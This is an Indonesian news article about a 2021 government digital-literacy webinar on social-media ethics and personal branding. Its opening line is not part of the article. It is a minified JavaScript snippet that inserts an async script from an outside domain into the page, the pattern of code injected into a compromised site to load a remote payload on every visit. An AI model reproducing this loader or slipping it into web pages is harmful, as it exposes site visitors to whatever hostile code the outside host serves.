(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Webinar Literasi Digital HSS: Pastikan Jejak Digital Kamu Baik

KANALKALIMANTAN.COM, KANDANGAN – Perlu terus mengedukasi masyarakat mengenai pentingnya bermedia sosial dengan bijak, kreatif, dan inovatif.

Kementerian Komunikasi dan Informatika (Kemkominfo) RI dengan Siberkreasi menyelenggarakan webinar literasi digital di Kabupaten Hulu Sungai Selatan (HSS) tema “Bermain Sosial Media Dengan Bijak dan Tepat”, Senin (26/7/2021) pukul 14:00 Wita.

Webinar menghadirkan narasumber pertama seorang publik figur Rieka Roslan membahas tentang “Etika dalam bermedia sosial”. Rieka mengatakan, penggunaan media sosial harus disikapi dengan bijaksana, kreatif, dan inovatif.

Saat ini penggunaan media sosial telah menjadi bagian hidup keseharian dari sebagian besar masyarakat. “Media sosial saat ini juga telah dijadikan sebagai tempat untuk saling mendapatkan dan menyebarkan informasi,” ujar Rieka.

Diperlukan suatu etika dalam menggunakan media sosial agar tidak saling menghina ataupun menuduh orang lain tanpa alasan yang jelas.

Karena pada dasarnya hal seperti itulah yang nantinya akan terjerat hukum karena kurang hati-hati dalam menyebarkan informasi pada internet.

Rieka menambahkan, penggunaan sosial media punya kebebasan, namun yang sering disalah artikan adalah bebas bukan berarti tanpa etika.

“Apabila kita mengetahui etika apa saja yang harus diperhatikan saat menggunakan jejaring sosial,” tambahnya.

Berikut beberapa hal penting yang dijelaskan oleh Rieka Roslan mengenai etika dalam menggunakan media sosial:

1. Etika dalam Berkomunikasi

2. Hindari Penyebaran SARA,

3. Pornografi dan Aksi Kekerasan

4. Kroscek Kebenaran Berita

5. Menghargai Hasil Karya Orang Lain

6. Jangan Terlalu Mengumbar Informasi Pribadi.

Narasumber kedua Muhammad Sualdi Firdaus, seorang digital creator, penyiar dan jurnalis Radio Amandit FM membahas tentang “Bangun Personal Brandingmu Lewat Social Mediamu”, apa itu personal branding?.

Sualdi menjelaskan personal branding adalah proses mengenalkan diri, value (nilai) dalam diri menunjukkan apa profesi kita, skill yang kita miliki serta attitude.

“Personal branding itulah yang akan menentukan bagaimana orang lain menggambarkan kamu, apakah digambarkan sebagai seorang yang introvert, ekstrovert, pembicara paling menghibur, pemimpin yang sederhana, atau yang lainnya,” beber Sualdi.

Selanjutnya apa saja manfaat personal branding ? apabila orang mengenal kita, apa yang akan terjadi? Banyak orang yang lebih mempercayai kita. Personal branding yang kuat sangat membantu kita untuk memperoleh kredibilitas, relasi baru, dan bahkan kesempatan baru dan lebih dikenal dikenali baik secara personal dan profesional.

“Personal branding akan membantu kita untuk meyakinkan siapapun bahwa kita adalah yang terbaik di bidang yang kamu geluti, sehingga sangat cocok buat kita yang sedang mencari kerja,” katanya.

“Saat kita melamar pekerjaan dan kita memiliki citra diri yang kuat maka peluang kita untuk dilirik dan diterima kerja sangat tinggi, karena HRD akan lebih mudah menemukan jejak digital kita, karena adanya personal branding,” terangnya.

Karena media sosial telah menjadi tempat untuk mencari informasi yang sangat andal dan banyak tentang siapa pun, maka sangatlah penting untuk selalu menunjukkan diri yang otentik.

“Karena hampir semua yang kita lakukan dapat ditemukan secara online, maka dari itu buatlah personal branding yang kuat dan pastikan jejak digital kamu baik,” ujar Sualdi. (kanalkalimantan.com/shintia)

Reporter : shintia
Editor : bie